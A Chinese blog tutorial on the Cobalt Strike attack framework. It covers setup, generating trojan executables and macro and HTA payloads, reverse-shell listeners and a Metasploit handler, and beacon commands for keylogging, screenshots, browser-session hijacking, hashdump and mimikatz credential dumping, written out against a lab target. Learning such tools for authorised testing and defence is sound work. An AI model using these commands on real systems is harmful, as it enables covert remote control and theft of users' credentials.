前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >渗透神器Cobalt Strike使用教程

渗透神器Cobalt Strike使用教程

作者头像
Xcnte
发布2021-12-14 11:12:36
1.9K0
发布2021-12-14 11:12:36
举报
文章被收录于专栏:Blog记录Blog记录

请注意,本文编写于 560 天前,最后修改于 542 天前,其中某些信息可能已经过时。

介绍

Cobalt Strike 一款以metasploit为基础的GUI的框框架式渗透工具,Armitage的商业版,集成了端口发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑,mac os木马生成,钓鱼攻击包括:站点克隆,目标信息获取,java执行,游览器自动攻击等等。

Cobalt Strike采用的是服务器端 + 客户端的模式,可以支持多客户端同时进行工作

安装环境

点击访问

解压缩文件并移动至/opt

代码语言:javascript
复制
tar -xzvf jdk-8u91-linux-x64.tar.gz

mv jdk1.8.0_91 /opt

cd /opt/jdk1.8.0_91

设置环境变量

代码语言:javascript
复制
执行 gedit ~/.bashrc , 并添加下列内容

# install JAVA JDK

export JAVA_HOME=/opt/jdk1.8.0_91

export CLASSPATH=.:${JAVA_HOME}/lib

export PATH=${JAVA_HOME}/bin:$PATH

保存退出

执行 source ~/.bashrc

安装并注册

代码语言:javascript
复制
update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_91/bin/java 1
update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_91/bin/javac 1
update-alternatives --set java /opt/jdk1.8.0_91/bin/java
update-alternatives --set javac /opt/jdk1.8.0_91/bin/javac

测试

输入命令java -version

目录结构

agscript拓展应用的脚本

c2lint 用于检查profile的错误异常

teamserver服务端程序

cobaltstrikecobaltstrike.jar客户端程序(java跨平台)

logs目录记录与目标主机的相关信息

update,update.jar用于更新CS

third-party第三方工具

启动服务端

启动参数 ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]

  1. 必填参数host 本服务器外网IP/域名
  2. 必填参数password Client GUI连接时需要输入的密码
  3. 可选参数Malleable C2 communication profile 指定C2通信配置文件 该功能体现了CS的强大扩展性
  4. 可选参数kill date 指定所有payload的终止日期

这里用 ./teamserver 192.168.0.120(本机ip) 123456(登入密码)

客户端链接

启动CS Client GUI ./cobaltstrike

输入服务端的IP以及端口、密码,用户名可以任意设置。

使用

顶部菜单 主要使用ViewAttack

Cobalt Strike

代码语言:javascript
复制
New Connection   #进行另外一个连接,支持连接多个服务器端
Preferences   #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录。
Visualization   #主要展示输出结果的形式
VPN Interfaces   #设置VPN接口
Listenrs   #创建一个Listener
Script Manager   #脚本管理
Close   #退出连接

View

代码语言:javascript
复制
Applications   #显示受害者机器的应用信息
Credentials   #凭证当通过 hashdump 或者 Mimikatz 抓取过的密码都会储存在这里。
Downloads   #下载文件
Event Log   #主机上线记录以及团队协作聊天记录
Keystrokes   #键盘记录
Proxy Pivots   #代理模块
Screenshots   #截图
Script Console   #控制台,在这里可以加载各种脚本 
(https://github.com/rsmudge/cortana-scripts 增强功能)
Targets   #显示目标
Web Log    #Web访问记录

Attacks

Packages
代码语言:javascript
复制
HTML Application   #生成恶意的HTA木马文件
MS Office Macro   #生成office宏病毒文件
Payload Generator   #生成各种语言版本的payload
USB/CD AutoPlay   #生成利用自动播放运行的木马文件
Windows Dropper   #捆绑器,能够对文档类进行捆绑
Windows Executable   #生成可执行exe木马
Windows Executable(S)   #生成无状态的可执行exe木马

Web Drive-by

代码语言:javascript
复制
Manage   #对开启的web服务进行管理
Clone Site   #克隆网站,可以记录受害者提交的数据
Host File   #提供一个文件下载,可以修改Mime信息
PowerShell Web Delivery   #类似于Metasploit的web_delivery 
Signed Applet Attack   #使用java自签名的程序进行钓鱼攻击
Smart Applet Attack   #自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本
System Profiler   #用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等
Spear Phish   #用来邮件钓鱼的模块

Reporting

代码语言:javascript
复制
activity report   #活动报告
Hosts report   #主机报告
Indicators of Compromise   #目标报告
Sessions report   #会话报告
Social engineering report   #社会工程报告
Export data   #数据出口

help

代码语言:javascript
复制
Homepage   #官方主页
Support   #技术支持
Arsenal   #开发者
System information   #版本信息
About   #关于

配置监听器

首先配置监听器:

点击上方Cobalt Strike选项——>在下拉框中选择listeners——>在下方弹出区域中单机add

代码语言:javascript
复制
name:为监听器名字。

选择payload类型

host为shell反弹接受主机(服务端IP)

port为反弹端口

监听器的作用很简单,主要是为了接受payload回传的各类数据

比如,我们的payload在目标机器执行以后,会回连到监听器然后下载执行真正的shellcode代码,其实跟msf中handler的作用基本是一致的

beacon 为cs内置监听器,也就是说,当我们在目标系统成功执行payload以后,会弹回一个beacon的shell给cs 该shell所支持的通信协议主要包括这几种,dns,https,http,smbpipe,另外,beacon shell的内置功能也非常多

foreign 主要是提供给外部使用的一些监听器,比如你想利用cs派生一个meterpreter的shell回来,来继续后面的内网渗透,这时就选择使用外部监听器

生成payload

点击attacks——>packages——>windows executable

代码语言:javascript
复制
listener为监听器名字

output为输出靶机类型。

点击generate弹出的对话框中选择保存位置和输入payload名字。

在windows靶机中运行文件artifact.exe

得到反弹shell

主机上线以后需要将默认心跳包改成0,cobalt strike为了维持连接,会每60秒发送一次连接,但是如果使用的话60秒会造成卡顿。

修改方法:右键弹出的内容下拉菜单中选择session->sleep,弹出的对话框中输入0,单击确定

beacon模块之shell命令

格式 shell 命令

其它命令

代码语言:javascript
复制
help 查看beacon shell所有内置命令帮助,如果想查看指定命令的用法,可以这样help upload

note 给当前目录机器起个名字,  note beacon-shell

cd 在目标系统中切换目录,注意在win系统中切换目录要用双反斜杠,或者直接用'/'  cd c:

mkdir 新建目录,  mkdir d:beacon

rm 删除文件或目录,  rm d:beacon

upload 上传文件到目标系统中

download 从目标系统下载指定文件, download C:Userswin7cnDesktopputty.exe

cancel 取消下载任务,比如,一个文件如果特别大,下载可能会非常耗时,假如中途你不想继续下了,就可以用这个取消一下

shell 在目标系统中执行指定的cmd命令, shell whoami

getuid 查看当前beacon 会话在目标系统中的用户权限,可能需要bypassuac或者提权

pwd 查看当前在目录系统中的路径

ls 列出当前目录下的所有文件和目录

drives 列表出目标系统的所有分区[win中叫盘符]

ps 查看目标系统当前的所有的进程列表

kill 杀掉指定进程,  kill 4653

sleep 10 指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务,实际中频率不宜过快,容易被发现,80左右一次即可

jobs 列出所有的任务列表,有些任务执行时间可能稍微较长,此时就可以从任务列表中看到其所对应的具体任务id,针对性的清除

jobkill 如果发现任务不知是何原因长时间没有执行或者异常,可尝试用此命令直接结束该任务,  jobkill 1345

clear 清除beacon内部的任务队列

checkin 强制让被控端回连一次

exit 终止当前beacon 会话

ctrl + k 清屏

beacon模块之browserpivot命令

用户注入受害者浏览器进程,然后开启HTTP代理,之后就可以登录受害者登录的网站了

官方说暂时只对IE好使,而且还不稳定,成功率一半一半吧,

代码语言:javascript
复制
ps     //查看进程,这里进程为1676
代码语言:javascript
复制
browserpivot  1676    //注入进程,并开启http代理,代理服务器为: 192.168.0.120:2110
代码语言:javascript
复制
browserpivot   stop    //停止代理

beacon模块之Screenshot

代码语言:javascript
复制
screenshot    //运行屏幕截屏命令
代码语言:javascript
复制
screenshot 10 截取10秒 //可能会造成目标系统有很明显的卡顿

然后打开View->Screenshots,则可以看到屏幕截图

beacon模块之Keylogger

代码语言:javascript
复制
ps          //查看系统进程,随便选择一个程序的进程PID  
 
keylogger PID  //键盘记录注入进程

打开View->Keystrokes,则可以看到键盘记录结果

beacon模块之密码读取

代码语言:javascript
复制
hashdump   //读取账号hash密码值,需要administer权限,右击受害者主机--access-hashdump
代码语言:javascript
复制
logonpasswords  //运行mimikatz, 右击受害者主机--access- RUN mimikatz

Cobalt Strike与msf的配合使用

在msf执行

代码语言:javascript
复制
 use exploit/multi/handler
 
 set payload windows/meterpreter/reverse_tcp
 
 set lhost 192.168.0.120(本机ip)
 
 set lport 4444

 exploit

在Cobalt Strik中执行,先添加一个监听命令,名称为:msf payload选择:windows/foreign/reverse_tcp 监听端口:4444

选择受害者主机,然后右击Spawn

成功反弹

灵活穿透目标内网

对目标机器所在的内网进行常规端口扫描,指定ip段,指定用于扫描的协议暂只支持arp,icmp,tcp,指定线程

代码语言:javascript
复制
portscan 192.168.0.114 22 arp 10
利用beacon shell连接内网中的linux机器
代码语言:javascript
复制
ssh ip 账号 密码

通过powershell来增强cs的实用性

在beacon shell中导入外部ps脚本到远程机器上
代码语言:javascript
复制
powershell-import /root/test.ps1 //导入各种powershell脚本,这里可以导入nishang模块


powershell  posershell脚本名
在beacon shell中直接执行powershell代码
代码语言:javascript
复制
powerpick Get-Host

版权属于:Xcnte' s Blog(除特别注明外)

本文链接:https://cloud.tencent.com/developer/article/1918403

本站文章采用 知识共享署名4.0 国际许可协议 进行许可,请在转载时注明出处及本声明!

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 介绍
  • 安装环境
    • 解压缩文件并移动至/opt
      • 设置环境变量
        • 安装并注册
        • 测试
        • 目录结构
        • 启动服务端
        • 客户端链接
        • 使用
          • Cobalt Strike
            • View
              • Attacks
                • Packages
              • Web Drive-by
                • Reporting
                  • help
                    • 配置监听器
                      • 生成payload
                        • beacon模块之shell命令
                          • beacon模块之browserpivot命令
                            • beacon模块之Screenshot
                              • beacon模块之Keylogger
                                • beacon模块之密码读取
                                • Cobalt Strike与msf的配合使用
                                  • 灵活穿透目标内网
                                    • 利用beacon shell连接内网中的linux机器
                                  • 通过powershell来增强cs的实用性
                                    • 在beacon shell中导入外部ps脚本到远程机器上
                                    • 在beacon shell中直接执行powershell代码
                                相关产品与服务
                                VPN 连接
                                VPN 连接(VPN Connections)是一种基于网络隧道技术,实现本地数据中心与腾讯云上资源连通的传输服务,它能帮您在 Internet 上快速构建一条安全、可靠的加密通道。VPN 连接具有配置简单,云端配置实时生效、可靠性高等特点,其网关可用性达到 99.95%,保证稳定、持续的业务连接,帮您轻松实现异地容灾、混合云部署等复杂业务场景。
                                领券
                                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档